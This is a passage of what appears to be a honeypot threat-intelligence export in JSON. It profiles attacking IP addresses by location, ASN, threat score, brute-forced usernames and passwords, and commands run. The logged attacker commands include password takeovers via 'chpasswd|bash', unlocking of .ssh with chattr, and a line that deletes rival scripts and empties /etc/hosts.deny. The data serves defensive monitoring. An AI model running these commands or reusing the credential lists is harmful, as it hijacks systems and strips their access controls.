        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T07:35:43.021000+00:00",
        "last_seen_30d": "2026-05-10T08:03:28.103000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "223.17.5.126": {
      "attack_count": 219,
      "first_seen": "2026-05-09T08:50:00.458Z",
      "last_seen": "2026-05-09T09:22:38.237Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "user",
        "ubuntu",
        "345gs5662d34",
        "administrator",
        "es",
        "ftpuser",
        "guest",
        "hadoop",
        "minecraft",
        "mysql",
        "sdtdserver",
        "sftptest",
        "sinusbot",
        "smbuser",
        "test1",
        "test3",
        "test8",
        "testmail"
      ],
      "passwords_attempted": [
        "1",
        "111111",
        "123",
        "123456",
        "123abc",
        "3245gs5662d34",
        "345gs5662d34",
        "43214321",
        "654321",
        "Administrator",
        "P@ssw0rd",
        "P@ssw0rd2025",
        "Passw0rd",
        "Password10",
        "admin",
        "admin-123456",
        "default",
        "es1234",
        "master",
        "qwe123!@#"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Administrator\\n2MDqmjbDbos8\\n2MDqmjbDbos8\\n\"|passwd",
        "echo -e \"Administrator\\n2MDqmjbDbos8\\n2MDqmjbDbos8\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Kowloon",
      "asn": 9304,
      "as_org": "HGC Global Communications Limited",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T08:50:00.458000+00:00",
        "last_seen_30d": "2026-05-09T09:23:45.473000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "5.181.124.7": {
      "attack_count": 216,
      "first_seen": "2026-05-27T23:39:08.673Z",
      "last_seen": "2026-05-28T00:15:51.686Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "build",
        "park",
        "testuser",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "1988",
        "Abcd123456",
        "Reset@123",
        "Test123!!",
        "Test123$",
        "abc123xyz",
        "admin8520",
        "asd.1234",
        "build",
        "changeme",
        "fjbdfdjkdsfs541544",
        "lb123456.",
        "m12345678",
        "park",
        "zx"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:2LRyqMfhmMgJ\"|chpasswd|bash",
        "echo \"root:tV6snGHeiF51\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 42831,
      "as_org": "UK Dedicated Servers Limited",
      "threat_score": 34.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 263,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T23:39:08.673000+00:00",
        "last_seen_30d": "2026-05-28T00:16:55.500000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 216,
        "Suricata": 47
      }
    },
    "86.111.176.100": {
      "attack_count": 198,
      "first_seen": "2026-05-03T19:22:13.820Z",
      "last_seen": "2026-05-31T08:31:34.686Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 33182,
      "as_org": "HostDime.com, Inc.",
      "threat_score": 59.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.6,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 231,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T19:22:13.820000+00:00",
        "last_seen_30d": "2026-05-31T08:32:44.666000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 132,
        "Suricata": 99
      }
    },
    "78.111.67.242": {
      "attack_count": 156,
      "first_seen": "2026-05-05T01:37:37.236Z",
      "last_seen": "2026-05-29T08:05:56.387Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 33984,
      "as_org": "Surfplanet GmbH",
      "threat_score": 51.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.6,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:37:37.236000+00:00",
        "last_seen_30d": "2026-05-29T08:07:04.938000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 78
      }
    },
    "162.248.225.36": {
      "attack_count": 144,
      "first_seen": "2026-05-30T17:05:07.880Z",
      "last_seen": "2026-05-30T17:33:51.176Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "python",
        "345gs5662d34",
        "coolify",
        "elsearch",
        "informatica",
        "jira",
        "mytest",
        "nmrsu",
        "test123",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Aa147258..",
        "Huawei123",
        "P@ssw0rd",
        "Passw0rd",
        "Root123.",
        "ZAQ!xsw2cde3",
        "coolify",
        "datacenter",
        "elsearch",
        "informatica",
        "mytest",
        "python",
        "qwerty2025",
        "test123",
        "topspin"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"python\\nDnjWjrDxQ67Z\\nDnjWjrDxQ67Z\\n\"|passwd",
        "echo -e \"python\\nDnjWjrDxQ67Z\\nDnjWjrDxQ67Z\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14576,
      "as_org": "Hosting Solution Ltd.",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T17:05:07.880000+00:00",
        "last_seen_30d": "2026-05-30T17:34:57.789000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 39
      }
    },
    "188.92.241.150": {
      "attack_count": 119,
      "first_seen": "2026-05-22T01:01:27.726Z",
      "last_seen": "2026-05-22T01:23:53.860Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user4",
        "345gs5662d34",
        "cds",
        "uno85"
      ],
      "passwords_attempted": [
        "12qw!@QW",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin!@#123",
        "Asdf1234",
        "Data@123",
        "Johnny123",
        "cds123",
        "mypassword",
        "qaz123!@#",
        "uno85",
        "user4"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"user4\\nkCxq5RszMBaU\\nkCxq5RszMBaU\\n\"|passwd",
        "echo -e \"user4\\nkCxq5RszMBaU\\nkCxq5RszMBaU\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 25227,
      "as_org": "JSC Avantel",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T01:01:27.726000+00:00",
        "last_seen_30d": "2026-05-22T01:24:58.176000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "103.96.42.40": {
      "attack_count": 118,
      "first_seen": "2026-05-24T16:19:04.443Z",
      "last_seen": "2026-05-24T16:54:25.594Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "csserver",
        "remnux"
      ],
      "passwords_attempted": [
        "!QAZ2wsx",
        "123456Aa@",
        "3245gs5662d34",
        "345gs5662d34",
        "Abcd1234",
        "P@ssw0rd@12345",
        "Q1w2e3r4",
        "Za123456",
        "csserver",
        "malware",
        "qq123123",
        "qwertyuiop"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ahxIVfnX4J5c\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 138311,
      "as_org": "Limerick Technologies Pvt Ltd",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T16:19:04.443000+00:00",
        "last_seen_30d": "2026-05-24T16:55:34.149000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 29
      }
    },
    "161.35.65.86": {
      "attack_count": 118,
      "first_seen": "2026-05-24T10:10:49.817Z",
      "last_seen": "2026-05-24T10:41:23.479Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "git",
        "oracle",
        "steam",
        "ts",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc123Abc",
        "Asd112233",
        "Oracle123",
        "Password1!",
        "Tencent@123",
        "git123",
        "qwerty666",
        "secret"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:hpUjiE1B8Y3S\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T10:10:49.817000+00:00",
        "last_seen_30d": "2026-05-24T10:42:27.157000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "116.207.109.39": {
      "attack_count": 88,
      "first_seen": "2026-05-20T12:51:17.252Z",
      "last_seen": "2026-05-20T18:00:25.260Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 144,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T12:45:32.138000+00:00",
        "last_seen_30d": "2026-05-20T18:01:25.705000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 56
      }
    },
    "116.110.211.22": {
      "attack_count": 79,
      "first_seen": "2026-05-21T07:27:28.879Z",
      "last_seen": "2026-05-21T07:31:32.169Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "guest",
        "squid",
        "support",
        "system",
        "ubnt",
        "user"
      ],
      "passwords_attempted": [
        "0l0ctyQh243O63uD",
        "1234",
        "123456",
        "@",
        "OkwKcECs8qJP2Z",
        "admin",
        "admin01",
        "admin123",
        "admin@123",
        "guest",
        "password",
        "squid",
        "support",
        "ubnt",
        "user"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:27:28.879000+00:00",
        "last_seen_30d": "2026-05-21T07:32:35.408000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 79,
        "Suricata": 35
      }
    },
    "34.22.185.74": {
      "attack_count": 74,
      "first_seen": "2026-05-27T04:19:35.245Z",
      "last_seen": "2026-05-27T04:20:16.363Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36",
        "b'\\xd9)ce-O\\x99\\xd4\\xb1\\xbc\\x13\\x17$\\xc5/%\\xa8?\\xcc |#D:\\xc1'"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 6583",
        "Host: 172.105.186.117:23",
        "b'\\xf1\\xe0vm\\xe8\\x18\\x84\\x97'"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T04:19:35.245000+00:00",
        "last_seen_30d": "2026-05-27T04:21:26.172000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 74,
        "Suricata": 42
      }
    },
    "74.48.72.51": {
      "attack_count": 72,
      "first_seen": "2026-05-08T02:05:56.918Z",
      "last_seen": "2026-05-13T19:47:55.820Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T02:05:56.918000+00:00",
        "last_seen_30d": "2026-05-13T19:49:02.497000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 36
      }
    },
    "34.22.130.54": {
      "attack_count": 71,
      "first_seen": "2026-05-11T07:38:51.938Z",
      "last_seen": "2026-05-11T07:39:27.929Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 7787",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T07:38:51.938000+00:00",
        "last_seen_30d": "2026-05-11T07:40:37.742000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "195.154.200.208": {
      "attack_count": 60,
      "first_seen": "2026-05-08T08:08:16.901Z",
      "last_seen": "2026-05-12T21:23:57.025Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:08:16.901000+00:00",
        "last_seen_30d": "2026-05-12T21:25:04.685000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 31
      }
    },
    "208.87.241.143": {
      "attack_count": 60,
      "first_seen": "2026-05-05T02:23:25.753Z",
      "last_seen": "2026-05-28T14:35:57.504Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 45.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.5,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:23:25.753000+00:00",
        "last_seen_30d": "2026-05-28T14:37:00.918000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 30
      }
    },
    "31.57.216.36": {
      "attack_count": 57,
      "first_seen": "2026-05-06T08:36:38.649Z",
      "last_seen": "2026-05-16T11:53:00.868Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "AdminGPON",
        "admin",
        "operator",
        "support",
        "test"
      ],
      "passwords_attempted": [
        "123456!@#$%^",
        "12345678",
        "ALC#FGU",
        "abc123",
        "operator",
        "support",
        "test"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 197769,
      "as_org": "VPS Dedicated LLC",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.6,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T08:36:38.649000+00:00",
        "last_seen_30d": "2026-05-16T11:54:03.805000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 57,
        "Suricata": 34
      }
    },
    "223.123.35.135": {
      "attack_count": 50,
      "first_seen": "2026-05-13T07:53:46.641Z",
      "last_seen": "2026-05-13T07:59:16.125Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
